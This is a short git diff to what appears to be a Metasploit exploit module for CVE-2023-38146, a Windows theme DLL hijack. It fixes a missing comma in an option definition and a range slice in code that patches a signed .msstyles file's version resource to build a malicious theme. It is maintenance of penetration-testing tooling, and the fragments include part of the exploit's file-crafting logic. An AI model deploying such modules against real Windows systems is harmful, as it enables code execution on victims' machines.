diff --git a/modules/exploits/windows/fileformat/theme_dll_hijack_cve_2023_38146.rb b/modules/exploits/windows/fileformat/theme_dll_hijack_cve_2023_38146.rb index e8bbf99004a4..cd40530e6e31 100644 --- a/modules/exploits/windows/fileformat/theme_dll_hijack_cve_2023_38146.rb +++ b/modules/exploits/windows/fileformat/theme_dll_hijack_cve_2023_38146.rb @@ -46,7 +46,7 @@ def initialize(info = {}) ) register_options([ - OptPath.new('STYLE_FILE', [ true, 'The Microsoft-signed .msstyles file (e.g. aero.msstyles).' '' ], regex: /.*\w*\.msstyles$/), + OptPath.new('STYLE_FILE', [ true, 'The Microsoft-signed .msstyles file (e.g. aero.msstyles).', '' ], regex: /.*\w*\.msstyles$/), OptString.new('STYLE_FILE_NAME', [ true, 'The name of the style file to reference.', '' ], regex: /^\w*(\.msstyles)?$/), OptString.new('THEME_FILE_NAME', [ true, 'The name of the theme file to generate.', 'exploit.theme' ]) ]) @@ -103,7 +103,7 @@ def get_file_contents(client:) pe_raw = File.binread(datastore['STYLE_FILE']) pe = Rex::PeParsey::Pe.new_from_string(pe_raw) version_offset = pe.rva_to_file_offset(pe.resources['/PACKTHEM_VERSION/0/0'].rva) - pe_raw[...version_offset] + [999].pack('v') + pe_raw[(version_offset + 2)...] + pe_raw[0...version_offset] + [999].pack('v') + pe_raw[(version_offset + 2)...] end def make_theme